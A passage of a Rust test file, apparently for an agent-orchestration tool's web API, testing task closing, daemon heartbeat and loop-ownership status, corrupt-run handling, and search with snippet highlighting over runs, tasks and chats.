18662        assert_eq!(
18663            reloaded.source,
18664            Source::Agent {
18665                run: "20260101-000000-b455".to_owned(),
18666                node: "implement".to_owned(),
18667            }
18668        );
18669        assert_eq!(reloaded.created_at, created_at);
18670    }
18671
18672    #[tokio::test]
18673    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18674        // `done` is allowed on any status, including `held`, with no release
18675        // in between - so a task held for a reason and then closed directly
18676        // must not keep reading as "waiting on" it afterwards, on its card or
18677        // in `magi task show`.
18678        let f = Fixture::start().await;
18679        let queue = f.queue();
18680        let mut task = Task::new(
18681            "landed while held".to_owned(),
18682            "x".to_owned(),
18683            PathBuf::from("/repo/magi"),
18684            Source::Human,
18685        );
18686        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18687        queue.put(&mut task).expect("file the held task");
18688
18689        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18690        assert_eq!(done.status, 200, "{}", done.body);
18691        assert_eq!(done.json()["status_str"], "done");
18692        assert!(
18693            done.json()["hold_reason"].is_null(),
18694            "a done task cannot still be waiting on something: {}",
18695            done.body
18696        );
18697    }
18698
18699    #[tokio::test]
18700    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18701        // `queue_done` is the phone's way to close a task the loop never
18702        // settled itself - after confirming a manual GitHub merge, say - and
18703        // that is just as much "this task's story is over" as the loop's own
18704        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18705        let f = Fixture::start().await;
18706        let queue = f.queue();
18707        let runs = f.runs();
18708        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18709        // The last attempt has to have actually landed for the earlier one
18710        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18711        // for the case where it didn't.
18712        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18713
18714        let mut task = Task::new(
18715            "landed by hand".to_owned(),
18716            "x".to_owned(),
18717            PathBuf::from("/repo/magi"),
18718            Source::Human,
18719        );
18720        task.runs.push("20260101-000000-doa1".to_owned());
18721        task.runs.push("20260101-000000-doa2".to_owned());
18722        queue.put(&mut task).expect("file the task");
18723
18724        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18725        assert_eq!(done.status, 200, "{}", done.body);
18726
18727        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18728            .expect("run still on disk under this fixture's own home");
18729        assert_eq!(
18730            reloaded_run.status,
18731            RunStatus::Superseded,
18732            "closing the task by hand must relabel the earlier blocked attempt exactly \
18733             like the loop's own settle path does"
18734        );
18735    }
18736
18737    #[tokio::test]
18738    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18739        // Closing a task by hand is allowed from any status, including one
18740        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18741        // manual merge the loop never watched, say. Nothing here is provably
18742        // why the task is done, so nothing earlier gets relabelled either.
18743        let f = Fixture::start().await;
18744        let queue = f.queue();
18745        let runs = f.runs();
18746        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18747        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18748
18749        let mut task = Task::new(
18750            "closed with nothing actually landed".to_owned(),
18751            "x".to_owned(),
18752            PathBuf::from("/repo/magi"),
18753            Source::Human,
18754        );
18755        task.runs.push("20260101-000000-dob1".to_owned());
18756        task.runs.push("20260101-000000-dob2".to_owned());
18757        queue.put(&mut task).expect("file the task");
18758
18759        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18760        assert_eq!(done.status, 200, "{}", done.body);
18761
18762        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18763            .expect("run still on disk under this fixture's own home");
18764        assert_eq!(
18765            reloaded_run.status,
18766            RunStatus::Blocked,
18767            "the last recorded attempt never landed, so the earlier one must not be \
18768             relabelled as superseded by it"
18769        );
18770    }
18771
18772    #[tokio::test]
18773    async fn unknown_ids_are_json_not_found_on_both_stores() {
18774        let f = Fixture::start().await;
18775
18776        let run = f.get("/api/runs/nosuchrun").await;
18777        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18778
18779        assert_eq!(run.status, 404);
18780        assert_eq!(task.status, 404);
18781        assert!(
18782            run.json()["error"]
18783                .as_str()
18784                .is_some_and(|e| e.contains("run")),
18785            "the error names what was not found: {}",
18786            run.body
18787        );
18788        assert!(
18789            task.json()["error"]
18790                .as_str()
18791                .is_some_and(|e| e.contains("task")),
18792            "the error names what was not found: {}",
18793            task.body
18794        );
18795    }
18796
18797    #[tokio::test]
18798    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18799        let f = Fixture::start().await;
18800
18801        let missing = f.get("/api/health").await.json();
18802        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18803
18804        write_daemon(
18805            f.home.path(),
18806            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18807        );
18808        let stale = f.get("/api/health").await.json();
18809        assert_eq!(
18810            stale["daemon"]["running"], false,
18811            "a minute without a heartbeat is a dead daemon, not a busy one"
18812        );
18813        assert!(
18814            stale["daemon"]["stale_for_secs"]
18815                .as_i64()
18816                .is_some_and(|s| s >= 55),
18817            "staleness is reported so the UI can say how long: {stale}"
18818        );
18819
18820        write_daemon(f.home.path(), Timestamp::now());
18821        let fresh = f.get("/api/health").await.json();
18822        assert_eq!(fresh["daemon"]["running"], true);
18823        assert_eq!(fresh["daemon"]["idle"], false);
18824        assert_eq!(fresh["daemon"]["pid"], 4242);
18825        assert_eq!(fresh["daemon"]["completed"], 7);
18826        assert_eq!(
18827            fresh["daemon"]["current"][0]["task"],
18828            "20260902-140501-aaaa"
18829        );
18830        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18831    }
18832
18833    #[tokio::test]
18834    async fn the_loop_is_not_running_until_something_starts_it() {
18835        let f = Fixture::start().await;
18836
18837        let view = f.get("/api/loop").await.json();
18838        assert_eq!(view["running"], false);
18839        assert_eq!(
18840            view["owned"], false,
18841            "nobody owns a loop that does not exist: {view}"
18842        );
18843        assert_eq!(view["stopping"], false);
18844        assert_eq!(view["last_error"], Value::Null);
18845        assert_eq!(view["daemon"]["running"], false);
18846        assert_eq!(
18847            view["repo"], "/repo/magi",
18848            "the repository a start would use, named before it is started"
18849        );
18850    }
18851
18852    #[tokio::test]
18853    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18854        let f = Fixture::start().await;
18855
18856        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18857        assert_eq!(res.status, 200, "{}", res.body);
18858        let view = res.json();
18859        assert_eq!(view["running"], true);
18860        assert_eq!(
18861            view["owned"], true,
18862            "the loop the UI started is the UI's own to stop: {view}"
18863        );
18864        assert_eq!(
18865            view["merge"],
18866            Value::Null,
18867            "no override was given, so each repository's own config decides"
18868        );
18869
18870        // The same object from the route a waking phone polls first. Two
18871        // surfaces disagreeing about whether anything is running is exactly
18872        // the confusion this UI exists to remove.
18873        let health = f.get("/api/health").await.json();
18874        assert_eq!(health["loop"]["running"], true, "{health}");
18875        assert_eq!(health["loop"]["owned"], true, "{health}");
18876
18877        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18878    }
18879
18880    #[tokio::test]
18881    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18882        let f = Fixture::start().await;
18883        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18884        assert_eq!(first.status, 200, "{}", first.body);
18885
18886        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18887        assert_eq!(
18888            again.status, 409,
18889            "two loops on one queue race for the same claims: {}",
18890            again.body
18891        );
18892        assert!(
18893            again.json()["error"]
18894                .as_str()
18895                .is_some_and(|e| e.contains("already running the loop")),
18896            "the refusal has to say why: {}",
18897            again.body
18898        );
18899        assert_eq!(
18900            f.get("/api/loop").await.json()["running"],
18901            true,
18902            "and the loop that was already running is untouched by it"
18903        );
18904
18905        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18906    }
18907
18908    #[tokio::test]
18909    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18910        let f = Fixture::start().await;
18911        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18912
18913        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18914        assert_eq!(
18915            res.status, 200,
18916            "the answer must not wait for the loop: a run in flight is tens of \
18917             minutes and the operator is holding a phone: {}",
18918            res.body
18919        );
18920
18921        let view = settled(&f, |v| v["running"] == false).await;
18922        assert_eq!(view["owned"], false);
18923        assert_eq!(
18924            view["stopping"], false,
18925            "a loop that has stopped is not still stopping: {view}"
18926        );
18927        assert_eq!(
18928            view["last_error"],
18929            Value::Null,
18930            "a loop that was asked to stop did not fail: {view}"
18931        );
18932
18933        // Idempotent, because the operator cannot tell a slow stop from a lost
18934        // one and will press it again.
18935        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18936        assert_eq!(twice.status, 200, "{}", twice.body);
18937    }
18938
18939    #[tokio::test]
18940    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18941        let f = Fixture::start().await;
18942        // How the operator has been doing it: a `magi serve` of their own,
18943        // heartbeat fresh, in the same home this UI reads.
18944        write_daemon(f.home.path(), Timestamp::now());
18945
18946        let view = f.get("/api/loop").await.json();
18947        assert_eq!(view["running"], false, "not in this process: {view}");
18948        assert_eq!(view["owned"], false, "and not this process's to control");
18949        assert_eq!(
18950            view["daemon"]["running"], true,
18951            "but a loop is alive somewhere, which is what the UI must say"
18952        );
18953        assert_eq!(view["daemon"]["pid"], 4242);
18954
18955        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18956            let res = f.post("/api/loop", Some(body)).await;
18957            assert_eq!(
18958                res.status, 409,
18959                "neither button may pretend to work on someone else's loop: {}",
18960                res.body
18961            );
18962            assert!(
18963                res.json()["error"]
18964                    .as_str()
18965                    .is_some_and(|e| e.contains("4242")),
18966                "the refusal has to name the process the operator must go to: {}",
18967                res.body
18968            );
18969        }
18970        assert_eq!(
18971            f.get("/api/loop").await.json()["running"],
18972            false,
18973            "and the refusal started nothing"
18974        );
18975    }
18976
18977    #[tokio::test]
18978    async fn a_stale_status_file_is_not_a_foreign_owner() {
18979        let f = Fixture::start().await;
18980        write_daemon(
18981            f.home.path(),
18982            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18983        );
18984
18985        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18986        assert_eq!(
18987            res.status, 200,
18988            "a daemon killed a minute ago must not lock the loop out of its \
18989             own home for good: {}",
18990            res.body
18991        );
18992        assert_eq!(res.json()["running"], true);
18993
18994        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18995    }
18996
18997    #[tokio::test]
18998    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18999        let f = Fixture::start().await;
19000        let before = f.get("/api/health").await.json()["loop_rev"]
19001            .as_u64()
19002            .expect("a loop revision");
19003
19004        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19005
19006        let after = f.get("/api/health").await.json()["loop_rev"]
19007            .as_u64()
19008            .expect("a loop revision");
19009        assert!(
19010            after > before,
19011            "the loop is in-process state, so this counter is the only thing \
19012             that tells a second device the first one started it: {before} -> \
19013             {after}"
19014        );
19015
19016        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19017    }
19018
19019    #[tokio::test]
19020    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19021        let f = Fixture::with_loop(launch_broken).await;
19022
19023        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19024        assert_eq!(
19025            res.status, 200,
19026            "starting it is not the failure: {}",
19027            res.body
19028        );
19029
19030        let view = settled(&f, |v| v["last_error"].is_string()).await;
19031        assert_eq!(
19032            view["running"], false,
19033            "a loop that died must not read as running, or the operator has \
19034             nothing to press: {view}"
19035        );
19036        assert_eq!(view["owned"], false);
19037        assert!(
19038            view["last_error"]
19039                .as_str()
19040                .is_some_and(|e| e.contains("read-only file system")),
19041            "the phone is where a loop that died at 3am is visible: {view}"
19042        );
19043
19044        // And it can be started again: the corpse was reaped, not left to
19045        // occupy the slot.
19046        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19047        assert_eq!(again.status, 200, "{}", again.body);
19048        assert!(
19049            again.json()["last_error"]
19050                .as_str()
19051                .is_none_or(|e| !e.contains("read-only file system")),
19052            "a fresh start does not keep showing why the last one died: {}",
19053            again.body
19054        );
19055    }
19056
19057    #[tokio::test]
19058    async fn a_newer_daemon_status_file_still_renders() {
19059        let f = Fixture::start().await;
19060        // A field this build has never heard of must not turn the status line
19061        // into a 500; that is the whole reason the reader is permissive.
19062        std::fs::write(
19063            f.home.path().join("daemon.json"),
19064            serde_json::json!({
19065                "schema": 2,
19066                "updated_at": Timestamp::now().to_string(),
19067                "idle": true,
19068                "surprise": { "nested": [1, 2, 3] },
19069            })
19070            .to_string(),
19071        )
19072        .expect("write daemon.json");
19073
19074        let health = f.get("/api/health").await;
19075
19076        assert_eq!(health.status, 200);
19077        assert_eq!(health.json()["daemon"]["running"], true);
19078    }
19079
19080    #[tokio::test]
19081    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19082        let f = Fixture::start().await;
19083        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19084        let broken = f.runs().join("20260902-140502-bad");
19085        std::fs::create_dir_all(&broken).expect("run dir");
19086        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19087
19088        let list = f.get("/api/runs").await;
19089        let detail = f.get("/api/runs/20260902-140502-bad").await;
19090
19091        assert_eq!(list.status, 200);
19092        let listed = list.json();
19093        let ids: Vec<&str> = listed
19094            .as_array()
19095            .expect("an array")
19096            .iter()
19097            .map(|r| r["id"].as_str().expect("an id"))
19098            .collect();
19099        assert_eq!(
19100            ids,
19101            vec!["20260902-140501-good"],
19102            "one unreadable run must not cost the operator the whole history"
19103        );
19104        assert_eq!(detail.status, 500);
19105        assert!(
19106            detail.json()["error"]
19107                .as_str()
19108                .is_some_and(|e| e.contains("run.json")),
19109            "the failure names the file to look at: {}",
19110            detail.body
19111        );
19112        // A skipped run has to be countable somewhere, or the UI shows an
19113        // empty history with nothing to explain it - which is exactly what a
19114        // directory full of older-schema runs looks like.
19115        let health = f.get("/api/health").await;
19116        assert_eq!(health.json()["runs_unreadable"], 1);
19117    }
19118
19119    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19120    #[tokio::test]
19121    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19122        let f = Fixture::start().await;
19123        let runs = f.runs();
19124        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19125        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19126        // Text three levels down, in a shape no current RunState has: an older
19127        // schema must still search.
19128        let path = runs.join("20260902-140502-bbbb").join("run.json");
19129        let mut v: serde_json::Value =
19130            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19131        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19132        std::fs::write(&path, v.to_string()).unwrap();
19133        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19134        std::fs::write(
19135            runs.join("20260902-140503-cccc").join("run.json"),
19136            "{ not json",
19137        )
19138        .unwrap();
19139
19140        let res = f.get("/api/search?scope=runs&q=quokka").await;
19141        assert_eq!(res.status, 200, "{}", res.body);
19142        let v = res.json();
19143        assert_eq!(v["total"], 1, "{v}");
19144        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19145        assert_eq!(v["hits"][0]["field"], "text");
19146        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19147        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19148        assert!(
19149            parts
19150                .iter()
19151                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19152            "{v}"
19153        );
19154        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19155        assert_eq!(
19156            flat, "The Quokka leaks across threads",
19157            "whitespace is collapsed"
19158        );
19159
19160        // Terms are ANDed, across different fields, case-insensitively.
19161        let both = f
19162            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19163            .await
19164            .json();
19165        assert_eq!(both["total"], 1, "{both}");
19166        let neither = f
19167            .get("/api/search?scope=runs&q=quokka%20zebra")
19168            .await
19169            .json();
19170        assert_eq!(neither["total"], 0, "{neither}");
19171        // Everything in the task statement is reachable, not only the row text.
19172        let stmt = f
19173            .get("/api/search?scope=runs&q=mobile%20first")
19174            .await
19175            .json();
19176        assert_eq!(stmt["total"], 2, "{stmt}");
19177        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19178        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19179    }
19180
19181    #[test]
19182    fn snippet_ignores_terms_longer_than_the_field() {
19183        let terms = ["ok".to_owned(), "elephant".to_owned()];
19184        let parts = snippet_of("ok", &terms);
19185        assert_eq!(
19186            parts,
19187            vec![SnippetPart {
19188                text: "ok".to_owned(),
19189                hit: true
19190            }]
19191        );
19192    }
19193
19194    #[test]
19195    fn snippet_marks_matches_longer_than_the_window() {
19196        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19197        let hit_len = |parts: &[SnippetPart]| -> usize {
19198            parts
19199                .iter()
19200                .filter(|p| p.hit)
19201                .map(|p| p.text.chars().count())
19202                .sum()
19203        };
19204        let total =
19205            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19206
19207        let long = "a".repeat(120);
19208        let parts = snippet_of(&long, std::slice::from_ref(&long));
19209        assert!(hit_len(&parts) > 0, "{parts:?}");
19210        assert!(total(&parts) <= cap);
19211
19212        let ja = "あ".repeat(130);
19213        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19214        assert!(hit_len(&parts) > 0, "{parts:?}");
19215        assert!(total(&parts) <= cap);
19216
19217        // A short hit, then one straddling the window's end.
19218        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19219        let term = format!("ab{}", "c".repeat(100));
19220        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19221        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19222        assert!(total(&parts) <= cap);
19223
19224        // Only the head matches: not highlighted.
19225        let text = format!("{}z", "a".repeat(119));
19226        let parts = snippet_of(&text, &["a".repeat(120)]);
19227        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19228    }
19229
19230    #[tokio::test]
19231    async fn search_caps_hits_and_snippet_length() {
19232        let f = Fixture::start().await;
19233        let runs = f.runs();
19234        for n in 0..(SEARCH_MAX_HITS + 5) {
19235            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19236        }
19237        let v = f.get("/api/search?scope=runs&q=web").await.json();
19238        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19239        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19240        assert_eq!(v["truncated"], true);
19241        // Every listed run hit carries its list row for the page's filters.
19242        assert!(
19243            v["hits"]
19244                .as_array()
19245                .unwrap()
19246                .iter()
19247                .all(|h| h["run"]["status"] == "merged")
19248        );
19249
19250        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19251        let parts = snippet_of(&long, &["needle".to_owned()]);
19252        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19253        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19254        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19255    }
19256
19257    #[tokio::test]
19258    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19259        let f = Fixture::start().await;
19260        let queue = f.queue();
19261        let mut t = Task::new(
19262            "short title".to_owned(),
19263            "line one\nthe hidden Armadillo detail".to_owned(),
19264            PathBuf::from("/repo/magi"),
19265            Source::Agent {
19266                run: "r1".to_owned(),
19267                node: "chat".to_owned(),
19268            },
19269        );
19270        t.last_error = Some("disk full on /tmp".to_owned());
19271        queue.put(&mut t).expect("file the task");
19272
19273        for (q, want) in [
19274            ("armadillo", 1),
19275            ("disk%20FULL", 1),
19276            ("chat", 1),
19277            ("queued", 1),
19278            ("short%20nothing", 0),
19279        ] {
19280            let v = f
19281                .get(&format!("/api/search?scope=tasks&q={q}"))
19282                .await
19283                .json();
19284            assert_eq!(v["total"], want, "{q}: {v}");
19285        }
19286        for bad in [
19287            "/api/search?scope=tasks&q=",
19288            "/api/search?scope=tasks&q=%20",
19289            "/api/search?scope=chats&q=",
19290            "/api/search?scope=chats&q=%20",
19291            "/api/search?scope=nope&q=a",
19292            "/api/search?q=a",
19293        ] {
19294            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19295        }
19296    }
19297
19298    /// Write one conversation file the way the store reads it back.
19299    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19300        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19301            .expect("seat value");
19302        let turns: Vec<serde_json::Value> = turns
19303            .iter()
19304            .map(|(who, body)| {
19305                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19306            })
19307            .collect();
19308        let doc = serde_json::json!({
19309            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19310            "status": status, "turns": turns,
19311            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19312            "seat": seat,
19313        });
19314        let dir = f.home.path().join("talks");
19315        std::fs::create_dir_all(&dir).expect("talks dir");
19316        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19317    }
19318
19319    #[test]
19320    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19321        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19322            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19323            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19324            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19325            "seat": crate::agent::SeatState::new("talk", "test", 1)
19326        })).unwrap();
19327        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19328        talk.title = Some(talk::ChatTitle {
19329            text: "最近の話題".into(),
19330            source: talk::TitleSource::Generated,
19331        });
19332        let doc = talk_search_doc(&talk);
19333        assert_eq!(doc["title"], "最近の話題");
19334        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19335        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19336        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19337    }
19338
19339    #[test]
19340    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19341        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19342        talk.title = Some(talk::ChatTitle {
19343            text: "Saved title".into(),
19344            source: talk::TitleSource::Manual,
19345        });
19346        talk.turns = serde_json::from_value(serde_json::json!([
19347            {
19348                "who": "operator", "sender": "external", "body": "External plain",
19349                "at": "2026-09-08T20:58:02Z"
19350            },
19351            {
19352                "who": "operator", "body": "External message",
19353                "at": "2026-09-08T20:58:03Z",
19354                "messages": [{
19355                    "sender": "external", "body": "External message", "attachments": []
19356                }]
19357            }
19358        ]))
19359        .unwrap();
19360        let doc = talk_search_doc(&talk);
19361        assert_eq!(doc["turns"][0]["external"], "External plain");
19362        assert_eq!(doc["turns"][1]["external"], "External message");
19363        assert!(doc["turns"][0].get("operator").is_none());
19364        assert!(doc["turns"][1].get("operator").is_none());
19365        let hit = search_chat(&search_terms("message"), &talk).unwrap();
19366        assert_eq!(hit.field, "external");
19367        let target = hit.target.unwrap();
19368        assert_eq!((target.turn, target.message), (1, 0));
19369    }
19370
19371    #[test]
19372    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19373        let talk: Talk = serde_json::from_value(serde_json::json!({
19374            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19375            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19376            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19377                "messages":[{"body":"First message", "attachments":[], "reply":null},
19378                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19379                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19380            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19381            "seat": crate::agent::SeatState::new("talk", "test", 1)
19382        })).unwrap();
19383        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19384        let target = hit.target.unwrap();
19385        assert_eq!((target.turn, target.message), (0, 1));
19386        assert_eq!(target.text, chat_text_key("Search 運用"));
19387        assert_eq!(
19388            hit.snippet,
19389            snippet_of("Search 運用", &search_terms("運用 Another"))
19390        );
19391        assert!(
19392            search_chat(&search_terms("Saved"), &talk)
19393                .unwrap()
19394                .target
19395                .is_none()
19396        );
19397        assert!(
19398            search_chat(&search_terms("ab12"), &talk)
19399                .unwrap()
19400                .target
19401                .is_none()
19402        );
19403        // All terms may still match across separate display rows.
19404        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19405        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19406    }
19407
19408    #[test]
19409    fn chat_search_targets_opener_derived_titles() {
19410        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19411            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19412            "status": "open", "turns": [
19413                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19414                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19415                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19416            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19417            "seat": crate::agent::SeatState::new("talk", "test", 1)
19418        }))
19419        .unwrap();
19420        let terms = search_terms("運用");
19421        let hit = search_chat(&terms, &talk).unwrap();
19422        assert_eq!(hit.field, "title");
19423        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19424        let target = hit.target.unwrap();
19425        assert_eq!((target.turn, target.message), (1, 0));
19426        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19427        // A blank first send can put the opener line in a later display row.
19428        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19429            {"body":"", "attachments":[], "reply":null},
19430            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19431        ]))
19432        .unwrap();
19433        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19434        assert_eq!((target.turn, target.message), (1, 1));
19435        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19436        talk.title = Some(talk::ChatTitle {
19437            text: "運用について".into(),
19438            source: talk::TitleSource::Manual,
19439        });
19440        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19441    }
19442
19443    #[tokio::test]
19444    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19445        let f = Fixture::start().await;
19446        write_talk(
19447            &f,
19448            "20260901-000001-aaaa",
19449            "open",
19450            &[
19451                (
19452                    "operator",
19453                    "\n  Why does the Pangolin cache expire?\nsecond line",
19454                ),
19455                ("agent", "Because the TTL is thirty seconds."),
19456            ],
19457        );
19458        write_talk(
19459            &f,
19460            "20260901-000002-bbbb",
19461            "closed",
19462            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19463        );
19464        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19465
19466        let search = |q: &'static str| {
19467            let f = &f;
19468            async move {
19469                f.get(&format!("/api/search?scope=chats&q={q}"))
19470                    .await
19471                    .json()
19472            }
19473        };
19474
19475        let v = search("PANGOLIN").await;
19476        assert_eq!(v["scope"], "chats");
19477        assert_eq!(v["total"], 1, "{v}");
19478        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19479        assert_eq!(v["hits"][0]["field"], "title");
19480        assert_eq!(v["unreadable"], 1, "{v}");
19481        let marked: Vec<&str> = v["hits"][0]["snippet"]
19482            .as_array()
19483            .unwrap()
19484            .iter()
19485            .filter(|p| p["hit"] == true)
19486            .map(|p| p["text"].as_str().unwrap())
19487            .collect();
19488        assert_eq!(marked, ["Pangolin"]);
19489
19490        // An agent turn, in a closed conversation.
19491        let v = search("zebra").await;
19492        assert_eq!(v["total"], 1, "{v}");
19493        assert_eq!(v["hits"][0]["field"], "agent");
19494        // Words may sit in different turns; all must be present.
19495        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19496        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19497        // Bookkeeping is not searched.
19498        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19499            assert_eq!(search(q).await["total"], 0, "{q}");
19500        }
19501        // The first line only is the title; the second line is still a turn.
19502        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19503        // Open conversations are listed before closed ones.
19504        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19505
19506        let v = f.get("/api/search?scope=nope&q=a").await;
19507        assert_eq!(v.status, 400);
19508        assert!(
19509            v.body.contains("scope must be runs, tasks or chats"),
19510            "{}",
19511            v.body
19512        );
19513    }
19514
19515    #[test]
19516    fn a_question_card_links_a_task_id_to_the_task_page() {
19517        let start = APP_JS
19518            .find("function updateAskCard(")
19519            .expect("updateAskCard exists");
19520        let body = &APP_JS[start..];
19521        let body = &body[..body.find("\n}\n").expect("function end")];
19522        assert!(body.contains("question.run_is_task"));
19523        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
